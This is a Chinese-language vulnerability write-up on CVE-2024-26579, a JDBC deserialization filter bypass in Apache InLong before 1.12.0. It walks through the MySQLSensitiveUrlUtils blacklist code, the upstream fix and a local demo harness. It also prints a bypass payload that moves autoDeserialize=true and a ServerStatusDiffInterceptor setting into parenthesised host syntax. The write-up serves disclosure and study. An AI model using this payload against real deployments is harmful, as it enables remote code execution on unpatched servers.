Apache InLong < 1.12.0 JDBC反序列化漏洞分析(CVE-2024-26579)
首发先知社区
链接:https://xz.aliyun.com/t/14616
漏洞描述
Apache InLong 是开源的高性能数据集成框架,用于业务构建基于流式的数据分析、建模和应用。
受影响版本中,由于 MySQLSensitiveUrlUtils 类只限制了?形式的JDBC连接字符串参数,攻击者可通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数。并通过#注释后续内容,绕过从而此前修复过滤逻辑,在连接攻击者可控的服务地址时,攻击者可利用该漏洞远程执行任意代码。
影响范围
org.apache.inlong:inlong-manager@[1.7.0, 1.12.0)
以上信息来自:OSCS社区
前置知识
JDBC反序列化
jdbc反序列化漏洞原理就是因为其url可控导致我们可以连接一个恶意的mysql服务器,在建立连接的过程中拿到恶意的数据导致反序列化漏洞。
fnmsd师傅总结的不同版本下的POC:
ServerStatusDiffInterceptor触发:
1 2 3 4 5 6 7 8 9 10 11 12 13
| 8.x :jdbc:mysql:
6.x(属性名不同) :jdbc:mysql:
5.1.11及以上的5.x版本(包名没有了cj) :jdbc:mysql:
5.1.10及以下的5.1.X版本:同上,但是需要连接后执行查询。
5.0.x:还没有ServerStatusDiffInterceptor这个东西┓( ´∀` )┏
|
detectCustomCollations触发:
1 2 3 4 5 6 7 8 9 10 11
| 5.1.41及以上:不可用
5.1.29-5.1.40 :jdbc:mysql:
5.1.28-5.1.19 :jdbc:mysql:
5.1.18以下的5.1.x版本:不可用
5.0.x版本不可用
|
关键点
拿8.0.12的来看,autoDeserialize
为True,才会进入到最后readObject()
来进行一个反序列化的操作。
详细分析可以看Tri0mphe师傅的文章:小白看得懂的MySQL JDBC 反序列化漏洞分析
所以,payload中的autoDeserialize=true
就必不可缺。
因为在防御JDBC反序列化漏洞时,一个思路就是检查jdbc
的url
中是否存在autoDeserialize=true
Apache InLong中的防御
下边我们看看Apache InLong中对JDBC反序列化漏洞是如何进行防御的,防御代码主要写在MySQLSensitiveUrlUtils
这个工具类中。
路径:inlong-manager/manager-pojo/src/main/java/org/apache/inlong/manager/pojo/util/MySQLSensitiveUrlUtils.java
我们把1.11.0版本中MySQLSensitiveUrlUtils关键的代码分析一下:
定义一个常量 SENSITIVE_REPLACE_PARAM_MAP
,其中包含了需要替换的敏感参数,以及它们替换后的值。这个常量是一个 Map,其中键为需要替换的参数名,值为替换后的参数值。
1 2 3 4 5 6 7
| private static final Map<String, String> SENSITIVE_REPLACE_PARAM_MAP = new HashMap<String, String>() { { put("autoDeserialize", "false"); put("allowLoadLocalInfile", "false"); put("allowUrlInLocalInfile", "false"); } };
|
定义另一个常量 SENSITIVE_REMOVE_PARAM_MAP
,其中包含了需要删除的敏感参数。这个常量是一个 Set,其中包含了需要删除的参数名。
1 2 3 4 5 6 7
| private static final Set<String> SENSITIVE_REMOVE_PARAM_MAP = new HashSet<String>() {
{ add("allowLoadLocalInfileInPath"); } };
|
最重要的部分
首先判断输入的 URL 中是否包含问号(?)字符,如果存在参数部分,则进入处理过程。
1
| if (resultUrl.contains(InlongConstants.QUESTION_MARK)) {
|
创建一个 StringBuilder 对象,用于构建处理后的 URL。先将问号之前的部分加入 StringBuilder 中,并添加一个问号。
1 2 3
| Copy CodeStringBuilder builder = new StringBuilder(); builder.append(StringUtils.substringBefore(resultUrl, InlongConstants.QUESTION_MARK)); builder.append(InlongConstants.QUESTION_MARK);
|
创建一个 List 对象 paramList,用于存储处理后的参数。从输入的 URL 中获取参数部分,并将其赋值给 queryString 变量。如果 queryString 中包含井号(#),则将井号之前的部分作为新的 queryString。
1 2 3 4 5
| Copy CodeList<String> paramList = new ArrayList<>(); String queryString = StringUtils.substringAfter(resultUrl, InlongConstants.QUESTION_MARK); if (queryString.contains("#")) { queryString = StringUtils.substringBefore(queryString, "#"); }
|
遍历 queryString 中的每一个参数,将参数名和参数值分别存储到 key 和 value 变量中。然后判断该参数名是否需要替换或删除,如果是,则跳过该参数,否则将其加入 paramList 中。最后将需要替换的参数及其对应的值也加入 paramList 中。
1 2 3 4 5 6 7 8 9 10 11
| Copy Codefor (String param : queryString.split(InlongConstants.AMPERSAND)) { String key = StringUtils.substringBefore(param, InlongConstants.EQUAL); String value = StringUtils.substringAfter(param, InlongConstants.EQUAL);
if (SENSITIVE_REMOVE_PARAM_MAP.contains(key) || SENSITIVE_REPLACE_PARAM_MAP.containsKey(key)) { continue; }
paramList.add(key + InlongConstants.EQUAL + value); } SENSITIVE_REPLACE_PARAM_MAP.forEach((key, value) -> paramList.add(key + InlongConstants.EQUAL + value));
|
将 paramList 中的参数用 & 符号连接起来,并加入 StringBuilder 中,最终得到处理后的 URL。
1 2 3
| Copy CodeString params = StringUtils.join(paramList, InlongConstants.AMPERSAND); builder.append(params); resultUrl = builder.toString();
|
总结
1、先取?
前的部分
2、之后就是对?
之后(若存在#
,则是?
和#
之间)的参数进行一个处理,比如:
queryString 的值为 “user=root&password=123456#qwe=123”,执行该段代码后,queryString 的值将被修改为 “user=root&password=123456”,然后进行一个黑名单的匹配
3、处理完之后拼接
调试
1 2 3 4 5
| public static void main(String[] args) { String url="jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc"; String s = filterSensitive(url); System.out.println(s); }
|
一句话说就是有#,就把?和#之间的黑名单匹配;没#,就把?之后的拿出来黑名单匹配
漏洞分析
刚刚也说了,黑名单的匹配主要是对?
和#
之间的数据匹配,那如果autoDeserialize=true
不在?
和#
之间并且url语法还正确,是不是就可以绕过了呢?(其实#
的影响并不大,主要是?
)
在mysql⽂档中找到了一下几种形式的url格式来绕过黑名单
比如:
payload:
1
| jdbc:mysql://(host=127.0.0.1,port=3306,autoDeserialize=true,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,user=yso_JRE8u20_calc)/test
|
因为不存在?
,直接绕过了黑名单的判断
漏洞修复
通过commit:https://github.com/apache/inlong/commit/eef8d05b0bf61ea60a7ea5dfd31010c0b2bf57a8
在之前原有的的黑名单处理操作前又加了一步:
1 2 3 4
| for (String key : SENSITIVE_REPLACE_PARAM_MAP.keySet()) { resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"true", InlongConstants.EMPTY); resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"yes", InlongConstants.EMPTY); }
|
使用StringUtils.replaceIgnoreCase方法对URL字符串进行替换操作,将值为”true”或”yes”的敏感参数移除。
测试环境
导入依赖:
1 2 3 4 5 6
| <!-- https://mvnrepository.com/artifact/org.apache.inlong/inlong-common --> <dependency> <groupId>org.apache.inlong</groupId> <artifactId>manager-common</artifactId> <version>1.11.0</version> </dependency>
|
demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| package org.example.jdbc;
import org.apache.inlong.manager.common.consts.InlongConstants; import org.apache.inlong.manager.common.exceptions.BaseException;
import org.apache.commons.lang3.StringUtils;
import java.net.URLDecoder; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; public class jdbc { private static final Map<String, String> SENSITIVE_REPLACE_PARAM_MAP = new HashMap<String, String>() {
{ put("autoDeserialize", "false"); put("allowLoadLocalInfile", "false"); put("allowUrlInLocalInfile", "false"); } };
private static final Set<String> SENSITIVE_REMOVE_PARAM_MAP = new HashSet<String>() {
{ add("allowLoadLocalInfileInPath"); } };
public static String filterSensitive(String url) { if (StringUtils.isBlank(url)) { return url; }
try { String resultUrl = url; while (resultUrl.contains(InlongConstants.PERCENT)) { resultUrl = URLDecoder.decode(resultUrl, "UTF-8"); } resultUrl = resultUrl.replaceAll(InlongConstants.REGEX_WHITESPACE, InlongConstants.EMPTY);
if (resultUrl.contains(InlongConstants.QUESTION_MARK)) { StringBuilder builder = new StringBuilder(); builder.append(StringUtils.substringBefore(resultUrl, InlongConstants.QUESTION_MARK)); builder.append(InlongConstants.QUESTION_MARK);
List<String> paramList = new ArrayList<>(); String queryString = StringUtils.substringAfter(resultUrl, InlongConstants.QUESTION_MARK); if (queryString.contains("#")) { queryString = StringUtils.substringBefore(queryString, "#"); } for (String param : queryString.split(InlongConstants.AMPERSAND)) { String key = StringUtils.substringBefore(param, InlongConstants.EQUAL); String value = StringUtils.substringAfter(param, InlongConstants.EQUAL);
if (SENSITIVE_REMOVE_PARAM_MAP.contains(key) || SENSITIVE_REPLACE_PARAM_MAP.containsKey(key)) { continue; }
paramList.add(key + InlongConstants.EQUAL + value); } SENSITIVE_REPLACE_PARAM_MAP.forEach((key, value) -> paramList.add(key + InlongConstants.EQUAL + value));
String params = StringUtils.join(paramList, InlongConstants.AMPERSAND); builder.append(params); resultUrl = builder.toString(); }
return resultUrl; } catch (Exception e) { throw new BaseException(String.format("Failed to filter MySQL sensitive URL: %s, error: %s", url, e.getMessage())); } }
public static void main(String[] args) { String url="jdbc:mysql://(host=127.0.0.1,port=3306,autoDeserialize=true,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,user=yso_JRE8u20_calc)/test"; String s = filterSensitive(url); System.out.println(s); } }
|
参考文章
https://xz.aliyun.com/t/8159
https://www.anquanke.com/post/id/203086